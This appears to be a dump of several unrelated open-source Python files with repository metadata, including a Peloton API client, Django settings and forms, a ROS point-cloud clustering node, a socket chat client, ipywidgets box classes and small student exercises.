The height in pixels of the XTK widget.
magicmode : bool
Enable magicmode, which colors points based on their positions.
opacity : float
The mesh's opacity in the range 0.0 to 1.0.
bgcolor : str
The XTK widget's background color.
"""
self.url = url
self.width = width
self.height = height
self.magicmode = 'true' if magicmode else 'false'
self.opacity = opacity
self.bgcolor = bgcolor
def _repr_javascript_(self):
js = code % (self.bgcolor, self.width, self.height, self.url, self.magicmode, self.opacity)
#js = Javascript(js, lib='http://get.goXTK.com/xtk_edge.js')
js = Javascript(js, lib='files/xtk_edge.js')
return js._repr_javascript_()
|
[
"Fernando.Perez@berkeley.edu"
] |
Fernando.Perez@berkeley.edu
|
7ec4d7758529a0aba4601c41c3d5cac1f7fa8ea6
|
ae8e083cc3f7cf50449633c1d18cd3ffd184ba78
|
/peloton/lib/pelotonApi.py
|
31ffe58ca6dc6166b9aa843ace930e1de2a9c751
|
[] |
no_license
|
jrodens/Halogen_Reporting
|
8577e0817555b4c48d9cf27bdd080599def37275
|
48ce2891c96cb6aacb50b3f28a4f63834a0147ac
|
refs/heads/master
| 2021-06-19T07:33:50.376807
| 2021-06-17T18:30:27
| 2021-06-17T18:30:27
| 221,496,157
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,383
|
py
|
import requests, json
import logging
import sys
from . import util
class PelotonApi:
"""Main Peloton Api Class"""
def __init__(self, user_email, user_password):
self.logger = logging.getLogger('peloton-to-garmin.PelotonApi')
assert user_email is not None and user_email != "", "Please specify your Peloton login email."
assert user_password is not None and user_password != "", "Please specify your Peloton login password."
self.http_base = "https://api.pelotoncycle.com/api/"
self.session = requests.Session()
auth_endpoint = "https://api.pelotoncycle.com/auth/login"
payload = {
'username_or_email': user_email,
'password': user_password
}
response = self.session.post(auth_endpoint, json=payload, verify=True)
parsed_response = util.parse_response(response)
util.handle_error(response)
self.user_id = parsed_response['user_id']
self.session_id = parsed_response['session_id']
def getAuthCookie(self):
cookies = dict(peloton_session_id=self.session_id)
return cookies
def getXWorkouts(self, numWorkouts):
"""
Gets the latest x workouts from Peloton.
"""
query = "user/" + self.user_id + "/workouts?joins=ride&limit="+ str(numWorkouts) +"&page=0&sort_by=-created"
url = util.full_url(self.http_base, query)
workouts = util.getResponse(self.session, url, {}, self.getAuthCookie())
data = workouts["data"]
self.logger.debug("getXWorkouts: {}".format(data))
return data
def getLatestWorkout(self):
"""
Gets the latest workout from Peloton.
"""
query = "user/" + self.user_id + "/workouts?joins=ride&limit=1&page=0&sort_by=-created"
url = util.full_url(self.http_base, query)
workouts = util.getResponse(self.session, url, {}, self.getAuthCookie())
data = workouts["data"][0]
self.logger.debug("getLatestWorkout: {}".format(data))
return data
def getWorkoutById(self, workoutId):
"""
Gets workout from Peloton by id.
"""
query = "workout/" + workoutId + "?joins=ride,ride.instructor,user"
url = util.full_url(self.http_base, query)
data = util.getResponse(self.session, url, {}, self.getAuthCookie())
self.logger.debug("getWorkoutById: {}".format(data))
return data
def getWorkoutSamplesById(self, workoutId):
"""
Gets workout samples from Peloton by id.
"""
query = "workout/" + workoutId + "/performance_graph?every_n=1"
url = util.full_url(self.http_base, query)
data = util.getResponse(self.session, url, {}, self.getAuthCookie())
self.logger.debug("getWorkoutSamplesById: {}".format(data))
return data
def getWorkoutSummaryById(self, workoutId):
"""
Gets workout summary from Peloton by id.
"""
query = "workout/" + workoutId + "/summary"
url = util.full_url(self.http_base, query)
data = util.getResponse(self.session, url, {}, self.getAuthCookie())
self.logger.debug("getWorkoutSummaryById: {}".format(data))
return data
|
[
"noreply@github.com"
] |
jrodens.noreply@github.com
|
d06273f05e1c19cf6ad1276aeab10b4dfc6df013
|
51ff94526b5f96211ff2480fd9516facbf9ba48f
|
/decoupled_dj/settings/production.py
|
09a7f53228673cf937a78e0273f259f68bfd7276
|
[
"MIT"
] |
permissive
|
leohakim/decoupled_django
|
59eecec59b1ac050748d3c0cd994d63ee50359b2
|
1271ab5ab796211b9dea4bad21e6ad0bf026ff07
|
refs/heads/main
| 2023-07-25T04:04:49.821417
| 2021-09-12T17:53:39
| 2021-09-12T17:53:39
| 392,573,892
| 0
| 0
|
MIT
| 2021-09-12T17:53:40
| 2021-08-04T06:21:17
|
JavaScript
|
UTF-8
|
Python
| false
| false
| 482
|
py
|
from .base import * # noqa
import os
SECURE_SSL_REDIRECT = True
ALLOWED_HOSTS = env.list("ALLOWED_HOSTS")
STATIC_ROOT = env("STATIC_ROOT")
CSRF_COOKIE_SECURE = True
SESSION_COOKIE_SECURE = True
CORS_ALLOWED_ORIGINS = env.list(
"CORS_ALLOWED_ORIGINS",
default=[]
)
# Disable Browsable DRF API
REST_FRAMEWORK = {
**REST_FRAMEWORK,
"DEFAULT_RENDERER_CLASSES": ["rest_framework.renderers.JSONRenderer"]
}
STATICFILES_DIRS = (
os.path.join(BASE_DIR, 'static'),
)
|
[
"leohakim@gmail.com"
] |
leohakim@gmail.com
|
a8a8a56438186a798ca35121e14dbbdb0e69eee3
|
3bcc247a2bc1e0720f0344c96f17aa50d4bcdf2d
|
/第二阶段笔记/pythonweb/项目/day02/client.py
|
dc47accf85daea800f2b3a1201207ff8f61e0d79
|
[] |
no_license
|
qianpeng-shen/Study_notes
|
6f77f21a53266476c3c81c9cf4762b2efbf821fa
|
28fb9a1434899efc2d817ae47e94c31e40723d9c
|
refs/heads/master
| 2021-08-16T19:12:57.926127
| 2021-07-06T03:22:05
| 2021-07-06T03:22:05
| 181,856,924
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,969
|
py
|
from socket import *
import sys
#客户端:图形界面打印 提出请求 接受反馈 反馈展示
class Thtpclient(object):
def __init__(self,s):
self.s=s
def do_loging(self,data):
self.s.send(data.encode())
while True:
a=input("请输入用户名")
self.s.send(a.encode())
b=input("请输入密码")
self.s.send(b.encode())
ab=self.s.recv(1024).decode()
if ab=="Y":
do_chuli()
else:
continue
def do_register(self,data):
self.s.send(data).encode()
while True:
a=input("请输入用户名")
self.s.send(a.encode())
b=input("请输入密码")
self.s.send(b.encode())
ab=self.s.recv(1024).decode()
if ab=="Y":
do_chuli()
else:
continue
def do_chuli(self):
print("=====请选择=====")
print("=====query=====")
print("====register====")
a=input("请输入您的选项")
self.s.send(a.endoce())
if a=="query":
self.do_query()
elif a=="register":
self.do_register()
def do_query(self):
pass
def do_register(self):
pass
def main():
if len(sys.argv)<3:
sys.exit("输入格式错误,请重新输入")
HOST=sys.argv[1]
PORT=int(sys.argv[2])
ADDR=(HOST,PORT)
s=socket()
BUFFRSIZE=1024
s.connect(ADDR)
tftp=Thtpclient(s)
while True:
print("======选择选项======")
print("========登录========")
print("========注册========")
print("========退出========")
print("====================")
data=input("请输入命令>>>")
if data=="登录":
tftp.do_loging(data)
elif data=="注册":
tftp.do_register(data)
if __name__=="__main__":
main()
|
[
"shenqianpeng@chengfayun.com"
] |
shenqianpeng@chengfayun.com
|
9d4c3e38e13d47bacccd79351bcb1bc247d1ca48
|
53fab060fa262e5d5026e0807d93c75fb81e67b9
|
/backup/user_185/ch27_2019_04_03_19_33_50_998384.py
|
6646db477c839919b1968fb60cf16c03efa53827
|
[] |
no_license
|
gabriellaec/desoft-analise-exercicios
|
b77c6999424c5ce7e44086a12589a0ad43d6adca
|
01940ab0897aa6005764fc220b900e4d6161d36b
|
refs/heads/main
| 2023-01-31T17:19:42.050628
| 2020-12-16T05:21:31
| 2020-12-16T05:21:31
| 306,735,108
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 185
|
py
|
número_cigarros = int(input("Quantos cigarros você fuma por dia? "))
anos_fumando = int(input("Quantos anos você fuma? "))
tempo_perdido = número_cigarros * 10
print(tempo_perdido)
|
[
"you@example.com"
] |
you@example.com
|
826877b4ba4da3d0add67615d4aebf46c9a6e11b
|
2ad52a65c45051f26fe26631a31f80279522ddb7
|
/src/PointCloudOps/src/scripts/pc_subs.py
|
598cb5d99c493c75f85d9be61667544260470e12
|
[] |
no_license
|
aryamansriram/Movel_Nav
|
a64c32528b7ce0a5a19127ba3a9379dca0201356
|
0e5e64232a01771999d34694f3bf6840f0c1e3ee
|
refs/heads/master
| 2023-01-03T20:35:22.041816
| 2020-10-21T13:37:11
| 2020-10-21T13:37:11
| 305,279,271
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,721
|
py
|
#!/usr/bin/env python
import rospy
from sensor_msgs.msg import PointCloud2
from sensor_msgs import point_cloud2
from visualization_msgs.msg import Marker
from geometry_msgs.msg import Point
from std_msgs.msg import ColorRGBA,String
import numpy as np
import random
def cluster(arr,iterations,n_clusters=2):
"""
Finds clusters for a given n-d array
:param arr: numpy array, consisting of depth from point cloud
:param iterations: int, number of iterations to run the clustering algorithm for
:param n_clusters: int, number of clusters, 2 by default
:return: tuple of two lists which are clusters of points
"""
# Initialize random clusters
c1 = random.randint(0,len(arr)-1)
c2 = random.randint(0,len(arr)-1)
# Initialize centroids of those random clusters
cent_1 = arr[c1]
cent_2 = arr[c2]
# For a given number of iterations build the given clusters
for i in range(iterations):
clus_1 = []
clus_2 = []
for ii,xyz in enumerate(arr):
d1 = np.sum((xyz-cent_1)**2)
d2 = np.sum((xyz - cent_2)**2)
if d1 == min(d1,d2):
clus_1.append(xyz)
else:
clus_2.append(xyz)
cent_1 = sum(clus_1)/len(clus_1)
cent_2 = sum(clus_2)/len(clus_2)
return [clus_1,clus_2]
def get_dataset(gen):
"""
:param gen: Generator object, generator of point cloud point's x,y and z co-ordinates
:return: numpy array of x,y and z points
"""
# Initialize x,y and z lists
x = []
y = []
z = []
# Iterate through generator to add points to the list
for p in gen:
x.append(p[0])
y.append(p[1])
z.append(p[2])
# Reshape arrays to get them ready for concatenation
x = np.array(x).reshape(-1,1)
y = np.array(y).reshape(-1,1)
z = np.array(z).reshape(-1,1)
# Build combined array consisting of all arrays together
dset = np.concatenate([x,y,z],axis=1)
return dset
class PC_Marker:
def __init__(self):
rospy.Subscriber("/camera/depth/points", PointCloud2, self.callback)
def callback(self,data):
gen = point_cloud2.read_points(data, field_names=("x", "y", "z"), skip_nans=True)
rospy.loginfo("Framing dataset..")
frame = get_dataset(gen)
rospy.loginfo("Clustering...")
clusters = cluster(frame,iterations=3)
print("Cluster 1 length: ",len(clusters[0]))
print("Cluster 2 length: ",len(clusters[1]))
def listener():
rospy.init_node("pc_listener",anonymous=True)
PC_Marker()
rospy.loginfo("Waiting.....")
rospy.sleep(5)
rospy.spin()
if __name__=="__main__":
listener()
|
[
"aryaman.sriram@gmail.com"
] |
aryaman.sriram@gmail.com
|
3cb10ad3a6af182a5ff9913827a1e36d8dd95b2c
|
ac879dd916f2d5282e4cf092325791b90b4d32d4
|
/recipes/forms.py
|
fe825561b043b263a3d8ce77ce6e1aee671d77d8
|
[] |
no_license
|
GBrachetta/recipes
|
2d04ff223663983d2e30ffb8300cc0e0d9a7955e
|
018cc34292f5f4c3441c99cc9d8ab4de0ce8cae7
|
refs/heads/master
| 2023-01-21T13:14:54.572067
| 2020-12-01T23:06:26
| 2020-12-01T23:06:26
| 314,708,946
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 822
|
py
|
from django import forms
# from .widgets import CustomClearableFileInput
from .models import Recipe, Category
from .widgets import CustomClearableFileInput
class RecipeForm(forms.ModelForm):
"""Recipe form"""
class Meta:
model = Recipe
fields = (
"category",
"name",
"description",
"instructions",
"difficulty",
"price",
"time",
"image",
"tags",
)
widgets = {"tags": forms.TextInput(attrs={"data-role": "tagsinput"})}
image = forms.ImageField(
label="Image", required=False, widget=CustomClearableFileInput
)
thumbnail = image.hidden_widget
class CategoryForm(forms.ModelForm):
class Meta:
model = Category
fields = ("name",)
|
[
"brachetta@me.com"
] |
brachetta@me.com
|
4e9493f5fb751d5f49549eadfda4c732a0177b21
|
043baf7f2cd8e40150bbd4c178879a5dd340348d
|
/children/forms.py
|
be8a8841d2651142291d5cacaeba886565a02057
|
[] |
no_license
|
tjguk/ironcage
|
1d6d70445b1da9642e1c70c72832c2738f9a942e
|
914b8e60819be7b449ecc77933df13f8b100adb0
|
refs/heads/master
| 2021-05-06T10:20:35.486184
| 2017-11-20T16:34:17
| 2017-11-20T16:34:17
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 683
|
py
|
from django import forms
from .models import Order
class OrderForm(forms.ModelForm):
class Meta:
model = Order
fields = [
'adult_name',
'adult_email_addr',
'adult_phone_number',
'accessibility_reqs',
'dietary_reqs',
]
class TicketForm(forms.Form):
name = forms.CharField()
date_of_birth = forms.DateField(
required=False,
widget=forms.DateInput(attrs={
'data-provide': 'datepicker',
'data-date-format': 'yyyy-mm-dd',
}),
)
TicketFormSet = forms.formset_factory(
TicketForm,
min_num=1,
extra=0,
can_delete=True
)
|
[
"peter.inglesby@gmail.com"
] |
peter.inglesby@gmail.com
|
cba5da974162d165da60ce37bf03defd5dc4ac89
|
1b95c01768f769522b7b7f855a0399fa20a11912
|
/yatpd/train/simple_train.py
|
5def073456d8e3ee625ac3fe74c6bc4dac970688
|
[
"MIT"
] |
permissive
|
eriche2016/yatpd
|
36b350abcae0900063370aed13cd82d16236be22
|
d5e103b61a745484872c0168ddd9c7c9e9cea391
|
refs/heads/master
| 2021-01-17T12:06:43.152458
| 2015-06-13T08:16:26
| 2015-06-13T08:16:26
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,083
|
py
|
# -*- coding: utf-8 -*-
import cv2
import numpy as np
from ..utils import timer
from ..utils import img_trans
from ..utils import hog2hognmf
from sklearn import svm
from sklearn.ensemble import AdaBoostClassifier
@timer
def simple_train(img_data_list, channel_type, feature_type, classifier):
''' Use HOG/HOG-NMF to train a model.
NOTE: the size of image should be same.
Parameters
----------
img_data_list: list of tuple
Img_data_list is a list that consists of tuple like (img_data, flag).
For flag, 1 stand for positive data, -1 stand for negative data.
channel_type: str
Gray | LUV | Gabor | DoG
feature_type: str
HOG | HOG-NMF
classifier: str
AdaBoost | SVM
'''
img_size = img_data_list[0][0].shape
img_feature_list = []
img_flag_list = []
for img_data in img_data_list:
channel_list = img_trans(img_data[0], channel_type)
img_feature = np.array([], dtype=np.float32)
hog = cv2.HOGDescriptor()
for channel in channel_list:
if feature_type == 'HOG' or feature_type == 'HOG-NMF':
hog_feature = hog.compute(channel)
if feature_type == 'HOG':
img_feature = np.append(img_feature, hog_feature[:, 0])
else:
img_feature = np.append(img_feature,
hog2hognmf(hog_feature[:, 0]))
img_feature_list.append(img_feature)
img_flag_list.append(img_data[1])
img_flag_list = np.array(img_flag_list, dtype=np.int32)
img_feature_list = np.array(img_feature_list, dtype=np.float32)
if classifier == 'AdaBoost':
boost_model = AdaBoostClassifier(n_estimators=800)
boost_model.fit(img_feature_list, img_flag_list)
return boost_model, img_size
elif classifier == 'SVM':
svm_model = svm.SVC(kernel='rbf')
svm_model.fit(img_feature_list, img_flag_list)
return svm_model, img_size
else:
raise Exception('Classifier doesn\'t support %s' % classifier)
|
[
"brickgao@gmail.com"
] |
brickgao@gmail.com
|
93c03d96e326c2691b8bb363e4d89b20b4c7e926
|
5442daf4ce09928d6bdd728064ed94be28af96b8
|
/tests/test_crispy_utils.py
|
7e09f38bd0269ad22bd134a29dde05c3e812654c
|
[
"MIT"
] |
permissive
|
moshthepitt/django-vega-admin
|
dc00ffd070207aaed400d3deb9bb503b611f6ac6
|
865774e51b3a2c2df81fec1f212acc3bdcea9eaa
|
refs/heads/master
| 2021-07-10T10:49:48.413006
| 2020-06-26T11:29:01
| 2020-06-26T11:29:01
| 157,973,263
| 4
| 0
|
MIT
| 2020-06-26T11:27:00
| 2018-11-17T10:20:04
|
Python
|
UTF-8
|
Python
| false
| false
| 1,626
|
py
|
"""module for crispy_utils tests."""
from django.conf import settings
from django.template import Context, Template
from django.test import TestCase, override_settings
from vega_admin.crispy_utils import get_form_actions, get_form_helper_class, get_layout
from tests.artist_app.forms import PlainArtistForm
@override_settings(
ROOT_URLCONF="tests.artist_app.urls", VEGA_ACTION_COLUMN_NAME="Actions"
)
class TestCrispyUtils(TestCase):
"""Test class for crispy utils."""
def test_get_form_actions_no_cancel(self):
"""Test get_form_actions with no cancel."""
form_helper = get_form_helper_class()
layout = get_layout(["name"])
form_actions = get_form_actions(cancel_url=None, button_div_css_class="xxx")
layout.append(form_actions)
form_helper.layout = layout
template = Template(
"""
{% load crispy_forms_tags %}
{% crispy form form_helper %}
"""
)
context = Context({"form": PlainArtistForm(), "form_helper": form_helper})
html = template.render(context)
expected_html = """
<div class="col-md-12">
<div class="xxx">
<input
type="submit"
name="submit"
value="Submit"
class="btn btn-primary btn-block vega-submit"
id="submit-id-submit"
/>
</div>
</div>
"""
assert "vega-cancel" not in html
assert settings.VEGA_CANCEL_TEXT not in html
self.assertInHTML(expected_html, html)
|
[
"kjayanoris@gmail.com"
] |
kjayanoris@gmail.com
|
6402bd53a3fdf59432d1860e917426ed25cc5995
|
773b22ef1658bbc165d910a65a40327eb4c52c4a
|
/api/repository/clean.py
|
29a10a979a2c562880d1d6223f7bccb9d368057c
|
[] |
no_license
|
AneresArsenal/feedback-main
|
e6d4cd98150366f353f42aa09b8f5d4751def6cb
|
88bd2ba62d1c1fd6bff659832d216fca5db50740
|
refs/heads/master
| 2022-12-24T08:13:43.544028
| 2020-09-24T20:37:44
| 2020-09-24T20:37:44
| 300,140,625
| 0
| 0
| null | 2020-10-01T04:21:27
| 2020-10-01T04:21:26
| null |
UTF-8
|
Python
| false
| false
| 372
|
py
|
from sqlalchemy_api_handler import logger
from utils.db import db
def clean():
logger.info('clean all the database...')
for table in reversed(db.metadata.sorted_tables):
print("Clearing table {table_name}...".format(table_name=table))
db.session.execute(table.delete())
db.session.commit()
logger.info('clean all the database...Done.')
|
[
"lawanledoux@gmail.com"
] |
lawanledoux@gmail.com
|
a91fb57384638740d71ac032b7f29a78e739f4cf
|
8d02b867eaa5d7aedb80ae31cec5dfe7b0201d1f
|
/Ch_03 - Computing with Numbers/slope_finder.py
|
a46f0535cd980bd113bc1558a5c79d5585028c4a
|
[] |
no_license
|
capncrockett/beedle_book
|
df17f632990edf4dfae82ccedb5f8d2d07385c00
|
d65315ddff20fb0ef666c610dbe4634dff0a621a
|
refs/heads/main
| 2023-07-23T08:33:17.275029
| 2021-09-01T02:47:08
| 2021-09-01T02:47:08
| 401,894,762
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 914
|
py
|
# slope_finder
# A program to find the slope of two points on a graph.
#
# def main():
# print("This program calculates the slope of a line.")
#
# x1, y1 = float(input("Please enter the 1st set of coordinates "
# "separated by a comma: "))
# x2, y2 = float(input("Please enter the 2nd set of coordinates "
# "separated by a comma: "))
# slope = y2 - y1 / x2 - x1
# print("The slope of your line is", slope)
#
#
# main()
#
def main():
print("This program calculates the slope of a line.")
x1, y1 = eval(input("Please enter the 1st set of coordinates "
"separated by a comma: "))
x2, y2 = eval(input("Please enter the 2nd set of coordinates "
"separated by a comma: "))
slope = y2 - y1 / x2 - x1
print("The slope of your line is", slope)
main()
|
[
"root@YOGA-720.localdomain"
] |
root@YOGA-720.localdomain
|
f158728483dad3598e7d227f6daed5a12266b1c5
|
494a0ba52d3204cb0082f01ae58cfdfc74895ba2
|
/thisIsCodingTest/Greedy/4.don'tMakeMoney.py
|
cfd68e9c3d4b5509207a1dfd383cc5ae7aa7e36f
|
[] |
no_license
|
mhee4321/python_algorithm
|
52331721c49399af35ffc863dd1d9b8e39cea26a
|
96dd78390ba735dd754930affb3b72bebbbe5104
|
refs/heads/master
| 2023-04-26T09:27:40.760958
| 2021-05-16T12:12:39
| 2021-05-16T12:12:39
| 327,462,537
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 174
|
py
|
n = int(input())
data = list(map(int, input().split()))
data.sort()
answer = 1
for x in data:
if answer < x:
break
answer += x
print(answer)
# 1 1 2 3 9
|
[
"nannanru@gmail.com"
] |
nannanru@gmail.com
|
520dd38b8e9b3ae3f346b6acbaa3d29266973d10
|
781e2692049e87a4256320c76e82a19be257a05d
|
/all_data/exercism_data/python/bob/3e15831531564bb59d8c8e12ee82db64.py
|
295e31e58c33b9db852cf9e133b741699b77845e
|
[] |
no_license
|
itsolutionscorp/AutoStyle-Clustering
|
54bde86fe6dbad35b568b38cfcb14c5ffaab51b0
|
be0e2f635a7558f56c61bc0b36c6146b01d1e6e6
|
refs/heads/master
| 2020-12-11T07:27:19.291038
| 2016-03-16T03:18:00
| 2016-03-16T03:18:42
| 59,454,921
| 4
| 0
| null | 2016-05-23T05:40:56
| 2016-05-23T05:40:56
| null |
UTF-8
|
Python
| false
| false
| 254
|
py
|
def hey(what):
what = what.strip()
if what.isupper() == True:
return "Whoa, chill out!"
elif len(what) == 0:
return "Fine. Be that way!"
elif what.endswith('?'):
return "Sure."
else:
return "Whatever."
|
[
"rrc@berkeley.edu"
] |
rrc@berkeley.edu
|
827745662ba46429c9ffe39f0fc6c46e5945dd07
|
050e3bfbbc7aba577f3120588233ee908668e37d
|
/settings.py
|
398abb5e23fe7d3dc9a2bc83d9e46033ee1925f4
|
[
"MIT"
] |
permissive
|
datamade/represent-boundaries
|
9457411d29751e0f373bd62e88cb1d4d09932375
|
13a789b6d1f4f3a3b076f90c33a12254b8e21433
|
refs/heads/master
| 2020-04-08T20:59:24.970558
| 2015-09-21T20:08:14
| 2015-09-21T20:08:14
| 42,890,604
| 1
| 0
| null | 2015-09-21T20:02:31
| 2015-09-21T20:02:30
| null |
UTF-8
|
Python
| false
| false
| 419
|
py
|
"""
To run `django-admin.py syncdb --settings settings --noinput` before testing.
"""
SECRET_KEY = 'x'
DATABASES = {
'default': {
'ENGINE': 'django.contrib.gis.db.backends.postgis',
'NAME': 'travis_ci_test',
}
}
INSTALLED_APPS = (
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.gis',
'boundaries',
)
MIDDLEWARE_CLASSES = ()
|
[
"james@slashpoundbang.com"
] |
james@slashpoundbang.com
|
311c3d454e7edc077485e30a033d615ed1fcdb37
|
b5f05426d811303c0bc2d37a7ebff67cc369f536
|
/python/ltp/data/dataset/mixed.py
|
215a149e9e17a5be8c1b01ea716abf05b3e02d37
|
[] |
no_license
|
chenwangwww/paddlehub
|
54a310c2b627868aa22e6172497d60ddd2291d24
|
8583a705af6f82512ea5473f3d8961a798852913
|
refs/heads/master
| 2023-03-13T10:17:55.589558
| 2021-03-01T02:35:43
| 2021-03-01T02:35:43
| 293,667,091
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 876
|
py
|
from typing import List, Dict
from . import Dataset
class MixedDataset(Dataset, alias='mixed'):
def __init__(self, path: List[Dict], file, fields, text='text'):
datasets = {}
if isinstance(file, str):
file = [file] * len(path)
for dataset, file in zip(path, file):
init = {}
name = dataset['name']
for key, value in dataset.items():
if key != 'name' and key != 'path':
init[key] = value
datasets[name] = Dataset.from_params(init, path=dataset['path'], file=file, fields=fields)
examples = []
for name, dataset in datasets.items():
for example in dataset.examples:
setattr(example, text, (name, *getattr(example, text)))
examples.append(example)
super().__init__(examples, fields)
|
[
"chenwangwww@sina.com"
] |
chenwangwww@sina.com
|
06e79651a9a40c27557771921e288b416f12f990
|
72d8b5139f0ed9ce273e44004032457e367d4336
|
/capchat_solver/venv/local/lib/python2.7/site-packages/ipywidgets/widgets/widget_box.py
|
8814201e077182ddae3d115a4a98dee9d84bd4f1
|
[
"MIT"
] |
permissive
|
bngabonziza/CaptchaGAN
|
98d7bc8c555f18c8ad13bd8eb340ad0b3c5fb900
|
228e93a5f6a7cee240f82c60950de121d64451c2
|
refs/heads/main
| 2023-02-02T18:49:14.299220
| 2020-12-22T07:07:56
| 2020-12-22T07:07:56
| 369,036,980
| 1
| 0
|
MIT
| 2021-05-20T00:39:38
| 2021-05-20T00:39:38
| null |
UTF-8
|
Python
| false
| false
| 1,984
|
py
|
# Copyright (c) Jupyter Development Team.
# Distributed under the terms of the Modified BSD License.
"""Box class.
Represents a container that can be used to group other widgets.
"""
from .widget import register, widget_serialization
from .domwidget import DOMWidget
from .widget_core import CoreWidget
from .widget_layout import Layout
from traitlets import Unicode, Tuple, Int, CaselessStrEnum, Instance, default
from warnings import warn
@register('Jupyter.Box')
class Box(DOMWidget, CoreWidget):
"""Displays multiple widgets in a group."""
_model_module = Unicode('jupyter-js-widgets').tag(sync=True)
_view_module = Unicode('jupyter-js-widgets').tag(sync=True)
_model_name = Unicode('BoxModel').tag(sync=True)
_view_name = Unicode('BoxView').tag(sync=True)
# Child widgets in the container.
# Using a tuple here to force reassignment to update the list.
# When a proper notifying-list trait exists, that is what should be used here.
children = Tuple().tag(sync=True, **widget_serialization)
box_style = CaselessStrEnum(
values=['success', 'info', 'warning', 'danger', ''], default_value='',
help="""Use a predefined styling for the box.""").tag(sync=True)
def __init__(self, children = (), **kwargs):
kwargs['children'] = children
super(Box, self).__init__(**kwargs)
self.on_displayed(Box._fire_children_displayed)
def _fire_children_displayed(self):
for child in self.children:
child._handle_displayed()
@register('Jupyter.VBox')
class VBox(Box):
"""Displays multiple widgets vertically using the flexible box model."""
_model_name = Unicode('VBoxModel').tag(sync=True)
_view_name = Unicode('VBoxView').tag(sync=True)
@register('Jupyter.HBox')
class HBox(Box):
"""Displays multiple widgets horizontally using the flexible box model."""
_model_name = Unicode('HBoxModel').tag(sync=True)
_view_name = Unicode('HBoxView').tag(sync=True)
|
[
"huajing_zhao@berkeley.edu"
] |
huajing_zhao@berkeley.edu
|
1b4e022dff8eea45419057adda0defc9e6f6d3cc
|
792588db469538c1f93efd2c26f0819d6e96aff5
|
/comma-delimited-handlers/handlers_new/belgium.py
|
e423b3eca75d9ab4f34984e1bc300a20be4cde1b
|
[] |
no_license
|
fillingthemoon/go-cart-misc
|
855696a3895ba5754a11ed0407069b6e35ee27e0
|
714513acfe2f5ad08442603443213c97f6bdae22
|
refs/heads/main
| 2023-08-21T23:08:48.686377
| 2021-10-05T11:08:42
| 2021-10-05T11:08:42
| 373,039,326
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 986
|
py
|
import settings
import handlers.base_handler
import csv
class CartogramHandler(handlers.base_handler.BaseCartogramHandler):
def get_name(self):
return "Belgium"
def get_gen_file(self):
return "{}/bel_processedmap.json".format(settings.CARTOGRAM_DATA_DIR)
def validate_values(self, values):
if len(values) != 3:
return False
for v in values:
if type(v) != float:
return False
return True
def gen_area_data(self, values):
return """cartogram_id,Region Data,Region Name,Inset
1,{},Bruxelles,L
2,{},Vlaanderen,R
3,{},Wallonie,R""".format(*values)
def expect_geojson_output(self):
return True
def csv_to_area_string_and_colors(self, csvfile):
return self.order_by_example(csv.reader(csvfile), "Region", 0, 1, 2, 3, ["Bruxelles","Vlaanderen","Wallonie"], [0.0 for i in range(0,3)], {"Bruxelles":"1","Vlaanderen":"2","Wallonie":"3"})
|
[
"phil.hsy@outlook.com"
] |
phil.hsy@outlook.com
|
cb421fd6828fa29ddee8d01e8968e522c0f4ba44
|
95040d09957e612ed0701c93aec91988aa901ef3
|
/mail/migrations/0008_partnerschool.py
|
8ef59d173fdd351b06f88a26abd1cf042c1ee9d4
|
[] |
permissive
|
mitodl/micromasters
|
12160b1bd3654e58c4b35df11688cec486166a71
|
d6564caca0b7bbfd31e67a751564107fd17d6eb0
|
refs/heads/master
| 2023-06-27T22:31:29.388574
| 2023-06-12T18:37:46
| 2023-06-12T18:37:46
| 52,919,185
| 35
| 21
|
BSD-3-Clause
| 2023-09-13T18:17:10
| 2016-03-01T23:53:17
|
Python
|
UTF-8
|
Python
| false
| false
| 572
|
py
|
# Generated by Django 2.1.2 on 2019-03-13 20:17
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('mail', '0007_sentautomaticemail_status'),
]
operations = [
migrations.CreateModel(
name='PartnerSchool',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=255)),
('email', models.TextField()),
],
),
]
|
[
"noreply@github.com"
] |
mitodl.noreply@github.com
|
047c8570dbd7a9979adb3f4a999019c4595d2716
|
bd6a48ed22f777272459a62fe596c95be23c45ea
|
/actions/general_conversations.py
|
ffe5616d009354a866a431e6a7744f704f7dbaf1
|
[
"MIT"
] |
permissive
|
bhaveshAn/Lucy
|
75527c7c5a3202737e2b9aad2cc41de2ac3b2c01
|
9ea97184c725a10a041af64cad0ef4b533be42ad
|
refs/heads/nextgen
| 2022-12-15T01:40:05.980712
| 2018-10-09T10:36:38
| 2018-10-09T10:50:39
| 105,390,713
| 3
| 0
|
MIT
| 2022-12-08T02:56:54
| 2017-09-30T18:17:46
|
JavaScript
|
UTF-8
|
Python
| false
| false
| 1,254
|
py
|
import random
def who_are_you(text):
messages = ['I am Lucy , your own personal assistant.',
'Lucy, didnt I tell you before?',
'You asked that so many times! I am Lucy']
return (random.choice(messages))
def toss_coin(text):
outcomes = ['heads', 'tails']
return ('I just flipped a coin. It shows ' + random.choice(outcomes))
def how_am_i(text):
replies = [
'You are the coolest person, I have ever seen !',
'My knees go weak when I see you.',
'You look like the kindest person that I have met.'
]
return (random.choice(replies))
def who_am_i(text):
return ('You are a brilliant person. I love you!')
def where_born(text):
return ('I was created by a person named Bhaavesh, in India')
def how_are_you(text):
return ('I am fine, thank you.')
def are_you_up(text):
return ('For you , always.')
def love_you(text):
replies = [
'I love you too.',
'You are looking for love in the wrong place.'
]
return (random.choice(replies))
def marry_me(text):
return ('I have been receiving a lot of marriage proposals recently.')
def undefined(text):
return ('I dont know what that means!')
|
[
"bhaveshanand7@gmail.com"
] |
bhaveshanand7@gmail.com
|
acfc0da063ac7021901b3a177fe6594803dca92a
|
